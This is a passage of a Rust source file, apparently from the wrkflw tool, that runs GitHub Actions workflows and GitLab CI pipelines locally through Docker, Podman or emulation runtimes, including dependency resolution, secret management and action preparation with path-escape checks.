Skip to main content

wrkflw_executor/
engine.rs

1#[allow(unused_imports)]
2use bollard::Docker;
3use futures::future;
4use serde_yaml::Value;
5use std::collections::HashMap;
6use std::fs;
7use std::path::{Path, PathBuf};
8// std::process::Command replaced by tokio::process::Command for async safety
9use thiserror::Error;
10
11use ignore::{gitignore::GitignoreBuilder, Match};
12
13use crate::action_resolver;
14use crate::dependency;
15use crate::docker;
16use crate::environment;
17use crate::podman;
18use wrkflw_logging;
19use wrkflw_matrix::MatrixCombination;
20use wrkflw_models::gitlab::Pipeline;
21use wrkflw_parser::gitlab::{self, parse_pipeline};
22use wrkflw_parser::workflow::{
23    self, parse_workflow, ActionInfo, Job, JobContainer, Step, WorkflowDefinition,
24};
25use wrkflw_runtime::container::{ContainerRuntime, COMBINED_IMAGE_PREFIX};
26use wrkflw_runtime::emulation;
27use wrkflw_secrets::{SecretConfig, SecretManager, SecretMasker, SecretSubstitution};
28
29#[allow(unused_variables, unused_assignments)]
30/// Execute a GitHub Actions workflow file locally
31pub async fn execute_workflow(
32    workflow_path: &Path,
33    config: ExecutionConfig,
34) -> Result<ExecutionResult, ExecutionError> {
35    wrkflw_logging::info(&format!("Executing workflow: {}", workflow_path.display()));
36    wrkflw_logging::info(&format!("Runtime: {:?}", config.runtime_type));
37
38    // Determine if this is a GitLab CI/CD pipeline or GitHub Actions workflow
39    let is_gitlab = is_gitlab_pipeline(workflow_path);
40
41    if is_gitlab {
42        execute_gitlab_pipeline(workflow_path, config.clone()).await
43    } else {
44        execute_github_workflow(workflow_path, config.clone()).await
45    }
46}
47
48/// Determine if a file is a GitLab CI/CD pipeline
49fn is_gitlab_pipeline(path: &Path) -> bool {
50    // Check the file name
51    if let Some(file_name) = path.file_name() {
52        if let Some(file_name_str) = file_name.to_str() {
53            return file_name_str == ".gitlab-ci.yml" || file_name_str.ends_with("gitlab-ci.yml");
54        }
55    }
56
57    // If file name check fails, try to read and determine by content
58    if let Ok(content) = fs::read_to_string(path) {
59        // GitLab CI/CD pipelines typically have stages, before_script, after_script at the top level
60        if content.contains("stages:")
61            || content.contains("before_script:")
62            || content.contains("after_script:")
63        {
64            // Check for GitHub Actions specific keys that would indicate it's not GitLab
65            if !content.contains("on:")
66                && !content.contains("runs-on:")
67                && !content.contains("uses:")
68            {
69                return true;
70            }
71        }
72    }
73
74    false
75}
76
77/// Execute a GitHub Actions workflow file locally
78async fn execute_github_workflow(
79    workflow_path: &Path,
80    config: ExecutionConfig,
81) -> Result<ExecutionResult, ExecutionError> {
82    // 1. Parse workflow file
83    let workflow = parse_workflow(workflow_path)?;
84
85    // 2. Resolve job dependencies and create execution plan
86    let execution_plan = dependency::resolve_dependencies(&workflow)?;
87
88    // Filter to target job and its transitive dependencies if specified
89    let execution_plan = if let Some(ref target_job) = config.target_job {
90        dependency::filter_plan_to_job(execution_plan, target_job, &workflow.jobs, "workflow")
91            .map_err(ExecutionError::Execution)?
92    } else {
93        execution_plan
94    };
95
96    // 3. Initialize appropriate runtime
97    let runtime = initialize_runtime(
98        config.runtime_type.clone(),
99        config.preserve_containers_on_failure,
100    )?;
101
102    // Create a temporary workspace directory
103    let workspace_dir = tempfile::tempdir()
104        .map_err(|e| ExecutionError::Execution(format!("Failed to create workspace: {}", e)))?;
105
106    // 4. Set up GitHub-like environment
107    let mut env_context = environment::create_github_context(&workflow, workspace_dir.path());
108    // Track the user-declared slice of env separately so `toJSON(env)` only
109    // dumps what the user actually wrote in YAML (and later, what steps write
110    // to `$GITHUB_ENV`). Starts empty — `create_github_context` only seeds
111    // runner-internal vars.
112    let mut user_env: HashMap<String, String> = HashMap::new();
113
114    // Add workflow-level environment variables (lowest precedence — does not override
115    // built-in GITHUB_*/RUNNER_* vars; job and step env override these later).
116    // Resolve ${{ }} expressions (e.g. ${{ github.repository }}) in values.
117    {
118        // At this point workflow.env hasn't been merged yet — user_env is empty.
119        let wf_expr_ctx = crate::expression::ExpressionContext {
120            env_context: &env_context,
121            step_outputs: &HashMap::new(),
122            matrix_combination: &None,
123            step_statuses: &HashMap::new(),
124            job_status: "success",
125            secrets_context: &HashMap::new(),
126            needs_context: &HashMap::new(),
127            needs_results: &HashMap::new(),
128            user_env: &user_env,
129        };
130        let cwd = std::env::current_dir().map_err(|e| {
131            ExecutionError::Execution(format!("Failed to get current directory: {}", e))
132        })?;
133        let resolved_env: Vec<(String, String)> = workflow
134            .env
135            .iter()
136            .map(|(key, value)| {
137                let resolved =
138                    crate::substitution::preprocess_expressions(value, &cwd, &wf_expr_ctx)
139                        .unwrap_or_else(|_| value.clone());
140                (key.clone(), resolved)
141            })
142            .collect();
143        for (key, value) in resolved_env {
144            // `or_insert` semantics: workflow.env does not override runner-seeded
145            // vars. user_env mirrors the same precedence — a workflow.env key that
146            // collides with a runner var is dropped from env_context AND not added
147            // to user_env (real GHA doesn't let workflow.env shadow runner vars).
148            env_context.entry(key.clone()).or_insert_with(|| {
149                user_env.insert(key, value.clone());
150                value
151            });
152        }
153    }
154
155    // Add runtime mode to environment
156    env_context.insert(
157        "WRKFLW_RUNTIME_MODE".to_string(),
158        match config.runtime_type {
159            RuntimeType::Emulation => "emulation".to_string(),
160            RuntimeType::SecureEmulation => "secure_emulation".to_string(),
161            RuntimeType::Docker => "docker".to_string(),
162            RuntimeType::Podman => "podman".to_string(),
163        },
164    );
165
166    // show=true means hide=false (inverted for the env var)
167    env_context.insert(
168        "WRKFLW_HIDE_ACTION_MESSAGES".to_string(),
169        if config.show_action_messages {
170            "false"
171        } else {
172            "true"
173        }
174        .to_string(),
175    );
176
177    // Setup GitHub environment files
178    environment::setup_github_environment_files(workspace_dir.path()).map_err(|e| {
179        ExecutionError::Execution(format!("Failed to setup GitHub env files: {}", e))
180    })?;
181
182    // 5. Initialize secrets management
183    let secret_manager = if let Some(secrets_config) = &config.secrets_config {
184        Some(
185            SecretManager::new(secrets_config.clone())
186                .await
187                .map_err(|e| {
188                    ExecutionError::Execution(format!("Failed to initialize secret manager: {}", e))
189                })?,
190        )
191    } else {
192        Some(SecretManager::default().await.map_err(|e| {
193            ExecutionError::Execution(format!(
194                "Failed to initialize default secret manager: {}",
195                e
196            ))
197        })?)
198    };
199
200    let secret_masker = SecretMasker::new();
201
202    // Create artifact store for this workflow run
203    let artifact_store =
204        crate::artifacts::ArtifactStore::new(workspace_dir.path()).map_err(|e| {
205            ExecutionError::Execution(format!("Failed to create artifact store: {}", e))
206        })?;
207
208    // Create cache store for this workflow run (persistent across runs)
209    let cache_store = crate::cache::CacheStore::new()
210        .map_err(|e| ExecutionError::Execution(format!("Failed to create cache store: {}", e)))?;
211
212    // 6. Execute jobs according to the plan
213    let mut results = Vec::new();
214    let mut has_failures = false;
215    let mut failure_details = String::new();
216    // Accumulate job outputs and results across batches for `needs.*` context
217    let mut all_job_outputs: HashMap<String, HashMap<String, String>> = HashMap::new();
218    let mut all_job_results: HashMap<String, String> = HashMap::new();
219
220    for job_batch in execution_plan {
221        // Execute jobs in parallel if they don't depend on each other
222        let job_results = execute_job_batch(
223            &job_batch,
224            &workflow,
225            runtime.as_ref(),
226            &env_context,
227            &user_env,
228            config.verbose,
229            secret_manager.as_ref(),
230            Some(&secret_masker),
231            &all_job_outputs,
232            &all_job_results,
233            &artifact_store,
234            &cache_store,
235        )
236        .await?;
237
238        // Collect job outputs and results for downstream jobs' `needs.*` context.
239        // For matrix jobs, multiple combinations share the same canonical_name — the last
240        // combination to complete wins.  This matches GitHub Actions' behavior where matrix
241        // job outputs are non-deterministic when multiple combinations set the same key.
242        for job_result in &job_results {
243            if all_job_outputs.contains_key(&job_result.canonical_name)
244                && job_result.name != job_result.canonical_name
245            {
246                wrkflw_logging::warning(&format!(
247                    "Matrix job '{}' overwrites outputs for '{}' — \
248                     needs.{}.outputs will reflect the last combination only",
249                    job_result.name, job_result.canonical_name, job_result.canonical_name,
250                ));
251            }
252            all_job_results.insert(
253                job_result.canonical_name.clone(),
254                job_result.status.to_string(),
255            );
256            all_job_outputs.insert(
257                job_result.canonical_name.clone(),
258                job_result.outputs.clone(),
259            );
260        }
261
262        // Check for job failures and collect details
263        for job_result in &job_results {
264            if job_result.status == JobStatus::Failure {
265                has_failures = true;
266                failure_details.push_str(&format!(
267                    "\n{} Job failed: {}\n",
268                    wrkflw_logging::symbols::FAILURE,
269                    job_result.name
270                ));
271
272                // Add step details for failed jobs
273                for step in &job_result.steps {
274                    if step.status == StepStatus::Failure {
275                        failure_details.push_str(&format!(
276                            "  {} {}: {}\n",
277                            wrkflw_logging::symbols::FAILURE,
278                            step.name,
279                            step.output
280                        ));
281                    }
282                }
283            }
284        }
285
286        results.extend(job_results);
287    }
288
289    // If there were failures, add detailed failure information to the result
290    if has_failures {
291        wrkflw_logging::error(&format!("Workflow execution failed:{}", failure_details));
292    }
293
294    Ok(ExecutionResult {
295        jobs: results,
296        failure_details: if has_failures {
297            Some(failure_details)
298        } else {
299            None
300        },
301    })
302}
303
304/// Execute a GitLab CI/CD pipeline locally
305async fn execute_gitlab_pipeline(
306    pipeline_path: &Path,
307    config: ExecutionConfig,
308) -> Result<ExecutionResult, ExecutionError> {
309    wrkflw_logging::info("Executing GitLab CI/CD pipeline");
310
311    // 1. Parse the GitLab pipeline file
312    let pipeline = parse_pipeline(pipeline_path)
313        .map_err(|e| ExecutionError::Parse(format!("Failed to parse GitLab pipeline: {}", e)))?;
314
315    // 2. Convert the GitLab pipeline to a format compatible with the workflow executor
316    let workflow = gitlab::convert_to_workflow_format(&pipeline);
317
318    // 3. Resolve job dependencies based on stages
319    let execution_plan = resolve_gitlab_dependencies(&pipeline, &workflow)?;
320
321    // Filter to target job and its stage-based dependencies if specified.
322    // GitLab uses stages for implicit ordering, so we keep all earlier stages.
323    let execution_plan = if let Some(ref target_job) = config.target_job {
324        dependency::filter_plan_to_job_by_stage(
325            execution_plan,
326            target_job,
327            &workflow.jobs,
328            "pipeline",
329        )
330        .map_err(ExecutionError::Execution)?
331    } else {
332        execution_plan
333    };
334
335    // 4. Initialize appropriate runtime
336    let runtime = initialize_runtime(
337        config.runtime_type.clone(),
338        config.preserve_containers_on_failure,
339    )?;
340
341    // Create a temporary workspace directory
342    let workspace_dir = tempfile::tempdir()
343        .map_err(|e| ExecutionError::Execution(format!("Failed to create workspace: {}", e)))?;
344
345    // 5. Set up GitLab-like environment
346    let mut env_context = create_gitlab_context(&pipeline, workspace_dir.path());
347
348    // Add runtime mode to environment
349    env_context.insert(
350        "WRKFLW_RUNTIME_MODE".to_string(),
351        match config.runtime_type {
352            RuntimeType::Emulation => "emulation".to_string(),
353            RuntimeType::SecureEmulation => "secure_emulation".to_string(),
354            RuntimeType::Docker => "docker".to_string(),
355            RuntimeType::Podman => "podman".to_string(),
356        },
357    );
358
359    // Setup environment files
360    environment::setup_github_environment_files(workspace_dir.path()).map_err(|e| {
361        ExecutionError::Execution(format!("Failed to setup environment files: {}", e))
362    })?;
363
364    // 6. Initialize secrets management
365    let secret_manager = if let Some(secrets_config) = &config.secrets_config {
366        Some(
367            SecretManager::new(secrets_config.clone())
368                .await
369                .map_err(|e| {
370                    ExecutionError::Execution(format!("Failed to initialize secret manager: {}", e))
371                })?,
372        )
373    } else {
374        Some(SecretManager::default().await.map_err(|e| {
375            ExecutionError::Execution(format!(
376                "Failed to initialize default secret manager: {}",
377                e
378            ))
379        })?)
380    };
381
382    let secret_masker = SecretMasker::new();
383
384    // Create artifact store for this pipeline run
385    let artifact_store =
386        crate::artifacts::ArtifactStore::new(workspace_dir.path()).map_err(|e| {
387            ExecutionError::Execution(format!("Failed to create artifact store: {}", e))
388        })?;
389
390    // Create cache store for this pipeline run (persistent across runs)
391    let cache_store = crate::cache::CacheStore::new()
392        .map_err(|e| ExecutionError::Execution(format!("Failed to create cache store: {}", e)))?;
393
394    // 7. Execute jobs according to the plan
395    let mut results = Vec::new();
396    let mut has_failures = false;
397    let mut failure_details = String::new();
398
399    for job_batch in execution_plan {
400        // Execute jobs in parallel if they don't depend on each other.
401        // GitLab CI uses artifacts/variables for inter-job communication, not `needs.*`
402        // context, so we pass empty maps here.
403        let job_results = execute_job_batch(
404            &job_batch,
405            &workflow,
406            runtime.as_ref(),
407            &env_context,
408            // GitLab pipelines don't carry workflow-level `env:`, so user_env
409            // starts empty; it'll accumulate through job/step env merges.
410            &HashMap::new(),
411            config.verbose,
412            secret_manager.as_ref(),
413            Some(&secret_masker),
414            &HashMap::new(),
415            &HashMap::new(),
416            &artifact_store,
417            &cache_store,
418        )
419        .await?;
420
421        // Check for job failures and collect details
422        for job_result in &job_results {
423            if job_result.status == JobStatus::Failure {
424                has_failures = true;
425                failure_details.push_str(&format!(
426                    "\n{} Job failed: {}\n",
427                    wrkflw_logging::symbols::FAILURE,
428                    job_result.name
429                ));
430
431                // Add step details for failed jobs
432                for step in &job_result.steps {
433                    if step.status == StepStatus::Failure {
434                        failure_details.push_str(&format!(
435                            "  {} {}: {}\n",
436                            wrkflw_logging::symbols::FAILURE,
437                            step.name,
438                            step.output
439                        ));
440                    }
441                }
442            }
443        }
444
445        results.extend(job_results);
446    }
447
448    // If there were failures, add detailed failure information to the result
449    if has_failures {
450        wrkflw_logging::error(&format!("Pipeline execution failed:{}", failure_details));
451    }
452
453    Ok(ExecutionResult {
454        jobs: results,
455        failure_details: if has_failures {
456            Some(failure_details)
457        } else {
458            None
459        },
460    })
461}
462
463/// Create an environment context for GitLab CI/CD pipeline execution
464fn create_gitlab_context(pipeline: &Pipeline, workspace_dir: &Path) -> HashMap<String, String> {
465    let mut env_context = HashMap::new();
466
467    // Add GitLab CI/CD environment variables
468    env_context.insert("CI".to_string(), "true".to_string());
469    env_context.insert("GITLAB_CI".to_string(), "true".to_string());
470
471    // Add custom environment variable to indicate use in wrkflw
472    env_context.insert("WRKFLW_CI".to_string(), "true".to_string());
473
474    // Add workspace directory
475    env_context.insert(
476        "CI_PROJECT_DIR".to_string(),
477        workspace_dir.to_string_lossy().to_string(),
478    );
479
480    // Also add the workspace as the GitHub workspace for compatibility with emulation runtime
481    env_context.insert(
482        "GITHUB_WORKSPACE".to_string(),
483        workspace_dir.to_string_lossy().to_string(),
484    );
485
486    // Add global variables from the pipeline
487    if let Some(variables) = &pipeline.variables {
488        for (key, value) in variables {
489            env_context.insert(key.clone(), value.clone());
490        }
491    }
492
493    env_context
494}
495
496/// Resolve GitLab CI/CD pipeline dependencies
497fn resolve_gitlab_dependencies(
498    pipeline: &Pipeline,
499    workflow: &WorkflowDefinition,
500) -> Result<Vec<Vec<String>>, ExecutionError> {
501    // For GitLab CI/CD pipelines, jobs within the same stage can run in parallel,
502    // but jobs in different stages run sequentially
503
504    // Get stages from the pipeline or create a default one
505    let stages = match &pipeline.stages {
506        Some(defined_stages) => defined_stages.clone(),
507        None => vec![
508            "build".to_string(),
509            "test".to_string(),
510            "deploy".to_string(),
511        ],
512    };
513
514    // Create an execution plan based on stages
515    let mut execution_plan = Vec::new();
516
517    // For each stage, collect the jobs that belong to it
518    for stage in stages {
519        let mut stage_jobs = Vec::new();
520
521        for (job_name, job) in &pipeline.jobs {
522            // Skip template jobs
523            if let Some(true) = job.template {
524                continue;
525            }
526
527            // Get the job's stage, or assume "test" if not specified
528            let default_stage = "test".to_string();
529            let job_stage = job.stage.as_ref().unwrap_or(&default_stage);
530
531            // If the job belongs to the current stage, add it to the batch
532            if job_stage == &stage {
533                stage_jobs.push(job_name.clone());
534            }
535        }
536
537        if !stage_jobs.is_empty() {
538            execution_plan.push(stage_jobs);
539        }
540    }
541
542    // Also create a batch for jobs without a stage
543    let mut stageless_jobs = Vec::new();
544
545    for (job_name, job) in &pipeline.jobs {
546        // Skip template jobs
547        if let Some(true) = job.template {
548            continue;
549        }
550
551        if job.stage.is_none() {
552            stageless_jobs.push(job_name.clone());
553        }
554    }
555
556    if !stageless_jobs.is_empty() {
557        execution_plan.push(stageless_jobs);
558    }
559
560    Ok(execution_plan)
561}
562
563// Determine if Docker/Podman is available or fall back to emulation
564fn initialize_runtime(
565    runtime_type: RuntimeType,
566    preserve_containers_on_failure: bool,
567) -> Result<Box<dyn ContainerRuntime>, ExecutionError> {
568    match runtime_type {
569        RuntimeType::Docker => {
570            if docker::is_available() {
571                // Handle the Result returned by DockerRuntime::new()
572                match docker::DockerRuntime::new_with_config(preserve_containers_on_failure) {
573                    Ok(docker_runtime) => Ok(Box::new(docker_runtime)),
574                    Err(e) => {
575                        wrkflw_logging::error(&format!(
576                            "Failed to initialize Docker runtime: {}, falling back to emulation mode",
577                            e
578                        ));
579                        Ok(Box::new(emulation::EmulationRuntime::new()))
580                    }
581                }
582            } else {
583                wrkflw_logging::error("Docker not available, falling back to emulation mode");
584                Ok(Box::new(emulation::EmulationRuntime::new()))
585            }
586        }
587        RuntimeType::Podman => {
588            if podman::is_available() {
589                // Handle the Result returned by PodmanRuntime::new()
590                match podman::PodmanRuntime::new_with_config(preserve_containers_on_failure) {
591                    Ok(podman_runtime) => Ok(Box::new(podman_runtime)),
592                    Err(e) => {
593                        wrkflw_logging::error(&format!(
594                            "Failed to initialize Podman runtime: {}, falling back to emulation mode",
595                            e
596                        ));
597                        Ok(Box::new(emulation::EmulationRuntime::new()))
598                    }
599                }
600            } else {
601                wrkflw_logging::error("Podman not available, falling back to emulation mode");
602                Ok(Box::new(emulation::EmulationRuntime::new()))
603            }
604        }
605        RuntimeType::Emulation => Ok(Box::new(emulation::EmulationRuntime::new())),
606        RuntimeType::SecureEmulation => Ok(Box::new(
607            wrkflw_runtime::secure_emulation::SecureEmulationRuntime::new(),
608        )),
609    }
610}
611
612#[derive(Debug, Clone, PartialEq)]
613pub enum RuntimeType {
614    Docker,
615    Podman,
616    Emulation,
617    SecureEmulation,
618}
619
620#[derive(Debug, Clone)]
621pub struct ExecutionConfig {
622    pub runtime_type: RuntimeType,
623    pub verbose: bool,
624    pub preserve_containers_on_failure: bool,
625    pub secrets_config: Option<SecretConfig>,
626    pub show_action_messages: bool,
627    pub target_job: Option<String>,
628}
629
630pub struct ExecutionResult {
631    pub jobs: Vec<JobResult>,
632    pub failure_details: Option<String>,
633}
634
635pub struct JobResult {
636    pub name: String,
637    /// The canonical job key from the workflow definition (e.g., "build").
638    /// For matrix jobs, `name` is the display name (e.g., "build (os: ubuntu)")
639    /// while this remains the canonical key used for `needs.*` lookups.
640    pub canonical_name: String,
641    pub status: JobStatus,
642    pub steps: Vec<StepResult>,
643    pub logs: String,
644    /// Resolved job outputs (from the job's `outputs:` mapping).
645    pub outputs: HashMap<String, String>,
646}
647
648#[derive(Debug, Clone, PartialEq)]
649#[allow(dead_code)]
650pub enum JobStatus {
651    Success,
652    Failure,
653    Skipped,
654}
655
656impl std::fmt::Display for JobStatus {
657    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
658        match self {
659            JobStatus::Success => f.write_str("success"),
660            JobStatus::Failure => f.write_str("failure"),
661            JobStatus::Skipped => f.write_str("skipped"),
662        }
663    }
664}
665
666#[derive(Debug, Clone)]
667pub struct StepResult {
668    pub name: String,
669    pub status: StepStatus,
670    pub output: String,
671    /// Raw result before `continue-on-error` is applied.
672    pub outcome: StepStatus,
673    /// Effective result after `continue-on-error` is applied.
674    pub conclusion: StepStatus,
675}
676
677impl StepResult {
678    /// Create a StepResult where outcome and conclusion equal status (the common case).
679    fn new(name: String, status: StepStatus, output: String) -> Self {
680        Self {
681            name,
682            outcome: status,
683            conclusion: status,
684            status,
685            output,
686        }
687    }
688}
689
690#[derive(Debug, Clone, Copy, PartialEq)]
691#[allow(dead_code)]
692pub enum StepStatus {
693    Success,
694    Failure,
695    Skipped,
696}
697
698impl std::fmt::Display for StepStatus {
699    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
700        match self {
701            StepStatus::Success => f.write_str("success"),
702            StepStatus::Failure => f.write_str("failure"),
703            StepStatus::Skipped => f.write_str("skipped"),
704        }
705    }
706}
707
708#[derive(Error, Debug)]
709pub enum ExecutionError {
710    #[error("Parse error: {0}")]
711    Parse(String),
712
713    #[error("Runtime error: {0}")]
714    Runtime(String),
715
716    #[error("Execution error: {0}")]
717    Execution(String),
718
719    #[error("IO error: {0}")]
720    Io(#[from] std::io::Error),
721}
722
723// Convert errors from other modules
724impl From<String> for ExecutionError {
725    fn from(err: String) -> Self {
726        ExecutionError::Parse(err)
727    }
728}
729
730/// The result of preparing an action — either a Docker image to run or a composite action.
731enum PreparedAction {
732    /// Docker action: run with the image's native entrypoint/CMD, optionally
733    /// overridden by `runs.entrypoint` and `runs.args` from action.yml.
734    /// Used for DockerBuild and Docker registry actions.
735    NativeDocker {
736        image: String,
737        entrypoint: Option<String>,
738        args: Vec<String>,
739    },
740    /// A Docker image name to run a shell command in.
741    ///
742    /// Used by Node.js actions (resolved to `node:XX-slim`), the
743    /// `determine_action_image` fallback, and `run:` steps. These paths
744    /// build an explicit shell command that is passed as CMD, so the
745    /// image's built-in ENTRYPOINT is intentionally overridden with a
746    /// bash wrapper. If you need the image's native ENTRYPOINT/CMD,
747    /// use `NativeDocker` instead.
748    Image(String),
749    /// A composite action that needs special step-based execution.
750    Composite,
751}
752
753// Add Action preparation functions
754async fn prepare_action(
755    action: &ActionInfo,
756    runtime: &dyn ContainerRuntime,
757) -> Result<PreparedAction, ExecutionError> {
758    if action.is_docker {
759        // Docker action: pull the image and run with its native entrypoint
760        let image = action.repository.trim_start_matches("docker://");
761
762        runtime
763            .pull_image(image)
764            .await
765            .map_err(|e| ExecutionError::Runtime(format!("Failed to pull Docker image: {}", e)))?;
766
767        return Ok(PreparedAction::NativeDocker {
768            image: image.to_string(),
769            entrypoint: None,
770            args: vec![],
771        });
772    }
773
774    if action.is_local {
775        // Local action: build from local directory
776        let action_dir = Path::new(&action.repository);
777
778        if !action_dir.exists() {
779            return Err(ExecutionError::Execution(format!(
780                "Local action directory not found: {}",
781                action_dir.display()
782            )));
783        }
784
785        // Parse action.yml/action.yaml once — used for both Docker and composite detection
786        let definition: Option<serde_yaml::Value> =
787            std::fs::read_to_string(action_dir.join("action.yml"))
788                .or_else(|_| std::fs::read_to_string(action_dir.join("action.yaml")))
789                .ok()
790                .and_then(|s| serde_yaml::from_str(&s).ok());
791
792        let dockerfile = action_dir.join("Dockerfile");
793        if dockerfile.exists() {
794            // It's a Docker action, build it
795            let tag = format!("wrkflw-local-action:{}", uuid::Uuid::new_v4());
796
797            runtime
798                .build_image(&dockerfile, &tag, action_dir)
799                .await
800                .map_err(|e| ExecutionError::Runtime(format!("Failed to build image: {}", e)))?;
801
802            let (entrypoint, args) =
803                extract_docker_runs_config(definition.as_ref()).map_err(|e| {
804                    ExecutionError::Execution(format!(
805                        "Invalid runs config in local action '{}': {}",
806                        action.repository, e
807                    ))
808                })?;
809
810            return Ok(PreparedAction::NativeDocker {
811                image: tag,
812                entrypoint,
813                args,
814            });
815        } else {
816            // Check if it's a composite action
817            if let Some(def) = &definition {
818                if let Some(using) = def
819                    .get("runs")
820                    .and_then(|r| r.get("using"))
821                    .and_then(|u| u.as_str())
822                {
823                    if using == "composite" {
824                        return Ok(PreparedAction::Composite);
825                    }
826                }
827            }
828
829            // Fall back to node for JS actions
830            return Ok(PreparedAction::Image("node:20-slim".to_string()));
831        }
832    }
833
834    // GitHub action: try to fetch action.yml from the remote repository
835    if !action.repository.is_empty() && !action.version.is_empty() {
836        match action_resolver::resolve_remote_action(
837            &action.repository,
838            &action.version,
839            action.sub_path.as_deref(),
840        )
841        .await
842        {
843            Ok(resolved) => match &resolved.action_type {
844                action_resolver::ActionType::Node { version } => {
845                    let image = format!("node:{}-slim", version);
846                    wrkflw_logging::info(&format!(
847                        "Resolved action '{}' -> image '{}'",
848                        action.repository, image
849                    ));
850                    return Ok(PreparedAction::Image(image));
851                }
852                action_resolver::ActionType::Docker { image } => {
853                    wrkflw_logging::info(&format!(
854                        "Resolved action '{}' -> Docker image '{}'",
855                        action.repository, image
856                    ));
857                    let (entrypoint, args) =
858                        extract_docker_runs_config(resolved.definition.as_ref()).map_err(|e| {
859                            ExecutionError::Execution(format!(
860                                "Invalid runs config for action '{}': {}",
861                                action.repository, e
862                            ))
863                        })?;
864                    return Ok(PreparedAction::NativeDocker {
865                        image: image.clone(),
866                        entrypoint,
867                        args,
868                    });
869                }
870                action_resolver::ActionType::Composite => {
871                    wrkflw_logging::info(&format!(
872                        "Resolved action '{}' as composite action",
873                        action.repository
874                    ));
875                    return Ok(PreparedAction::Composite);
876                }
877                action_resolver::ActionType::DockerBuild => {
878                    wrkflw_logging::info(&format!(
879                        "Resolved action '{}' as DockerBuild — cloning and building",
880                        action.repository
881                    ));
882
883                    // Clone the repository.
884                    // `tempdir` is only needed through `build_image` — after the
885                    // image is built all files are baked into the Docker image
886                    // and the temp directory can be dropped safely.
887                    let tempdir = tempfile::tempdir().map_err(|e| {
888                        ExecutionError::Execution(format!("Failed to create temp dir: {}", e))
889                    })?;
890                    let repo_url = format!("https://github.com/{}.git", action.repository);
891                    let repo_dir = tempdir.path().join("action");
892                    shallow_clone(&repo_url, &action.version, &repo_dir).await?;
893
894                    // Resolve the action directory (respecting sub_path)
895                    let action_dir = match &action.sub_path {
896                        Some(p) => {
897                            sanitize_sub_path(p).map_err(|e| {
898                                ExecutionError::Execution(format!(
899                                    "Invalid sub_path for action '{}': {}",
900                                    action.repository, e
901                                ))
902                            })?;
903                            repo_dir.join(p)
904                        }
905                        None => repo_dir.clone(),
906                    };
907
908                    // Defense-in-depth: verify the action directory is still
909                    // inside the cloned repo after symlink resolution.
910                    let canon_action_dir = action_dir.canonicalize().map_err(|e| {
911                        ExecutionError::Execution(format!(
912                            "Failed to canonicalize action directory: {}",
913                            e
914                        ))
915                    })?;
916                    let canon_repo_dir = repo_dir.canonicalize().map_err(|e| {
917                        ExecutionError::Execution(format!(
918                            "Failed to canonicalize repo directory: {}",
919                            e
920                        ))
921                    })?;
922                    if !canon_action_dir.starts_with(&canon_repo_dir) {
923                        return Err(ExecutionError::Execution(format!(
924                            "Action sub_path escapes repository directory for action '{}'",
925                            action.repository
926                        )));
927                    }
928
929                    // Get the Dockerfile path from action.yml's runs.image field.
930                    let dockerfile_raw = resolved
931                        .definition
932                        .as_ref()
933                        .and_then(|d| d.get("runs"))
934                        .and_then(|r| r.get("image"))
935                        .and_then(|i| i.as_str())
936                        .unwrap_or("Dockerfile");
937
938                    let dockerfile_rel = sanitize_dockerfile_rel(dockerfile_raw).map_err(|e| {
939                        ExecutionError::Execution(format!(
940                            "Invalid Dockerfile path for action '{}': {}",
941                            action.repository, e
942                        ))
943                    })?;
944
945                    let dockerfile = action_dir.join(dockerfile_rel);
946
947                    if !dockerfile.exists() {
948                        return Err(ExecutionError::Execution(format!(
949                            "Dockerfile not found at {} for action '{}'",
950                            dockerfile.display(),
951                            action.repository
952                        )));
953                    }
954
955                    // Defense-in-depth: verify the resolved Dockerfile is
956                    // still inside the action directory after symlink resolution.
957                    // (canon_action_dir was already computed above for the sub_path check.)
958                    let canon_dockerfile = dockerfile.canonicalize().map_err(|e| {
959                        ExecutionError::Execution(format!(
960                            "Failed to canonicalize Dockerfile path: {}",
961                            e
962                        ))
963                    })?;
964                    if !canon_dockerfile.starts_with(&canon_action_dir) {
965                        return Err(ExecutionError::Execution(format!(
966                            "Dockerfile path '{}' escapes action directory for action '{}'",
967                            dockerfile.display(),
968                            action.repository
969                        )));
970                    }
971
972                    // Build the image
973                    let tag = format!("wrkflw-action:{}", uuid::Uuid::new_v4());
974                    runtime
975                        .build_image(&dockerfile, &tag, &action_dir)
976                        .await
977                        .map_err(|e| {
978                            ExecutionError::Runtime(format!(
979                                "Failed to build Dockerfile for action '{}': {}",
980                                action.repository, e
981                            ))
982                        })?;
983
984                    let (entrypoint, args) =
985                        extract_docker_runs_config(resolved.definition.as_ref()).map_err(|e| {
986                            ExecutionError::Execution(format!(
987                                "Invalid runs config for action '{}': {}",
988                                action.repository, e
989                            ))
990                        })?;
991                    return Ok(PreparedAction::NativeDocker {
992                        image: tag,
993                        entrypoint,
994                        args,
995                    });
996                }
997            },
998            Err(e) => {
999                wrkflw_logging::warning(&format!(
1000                    "Could not fetch action.yml for {}@{}: {}. Falling back to built-in mapping.",
1001                    action.repository, action.version, e
1002                ));
1003            }
1004        }
1005    }
1006
1007    // Fallback: determine appropriate image based on hardcoded action type mapping
1008    let image = determine_action_image(&action.repository);
1009    Ok(PreparedAction::Image(image))
1010}
1011
1012/// Execute a `NativeDocker` action step.
1013///
1014/// Handles `with.args` / `with.entrypoint` overrides, INPUT_* env injection,
1015/// volume setup, and container invocation.
1016async fn execute_native_docker_step(
1017    ctx: &StepExecutionContext<'_>,
1018    step_env: &mut HashMap<String, String>,
1019    step_name: String,
1020    uses: &str,
1021    image: String,
1022    entrypoint: Option<String>,
1023    args: Vec<String>,
1024) -> Result<StepResult, ExecutionError> {
1025    // Convert 'with' parameters to INPUT_* environment variables.
1026    // Also extract 'with.args' — if provided by the workflow step, it
1027    // overrides the action.yml's runs.args as the container CMD
1028    // (this matches GitHub Actions behavior).
1029    let mut with_args_override: Option<String> = None;
1030    // Allow workflow step to override entrypoint via `with.entrypoint`,
1031    // matching GitHub Actions behavior.
1032    let mut entrypoint = entrypoint;
1033    if let Some(with_params) = &ctx.step.with {
1034        for (key, value) in with_params {
1035            step_env.insert(format!("INPUT_{}", key.to_uppercase()), value.clone());
1036        }
1037        // Presence of the key is the override signal — even an empty
1038        // string means "pass zero args", matching GitHub Actions behavior.
1039        if let Some(a) = with_params.get("args") {
1040            with_args_override = Some(a.clone());
1041        }
1042        if let Some(ep) = with_params.get("entrypoint") {
1043            entrypoint = Some(ep.clone());
1044        }
1045    }
1046
1047    let container_workspace = Path::new("/github/workspace");
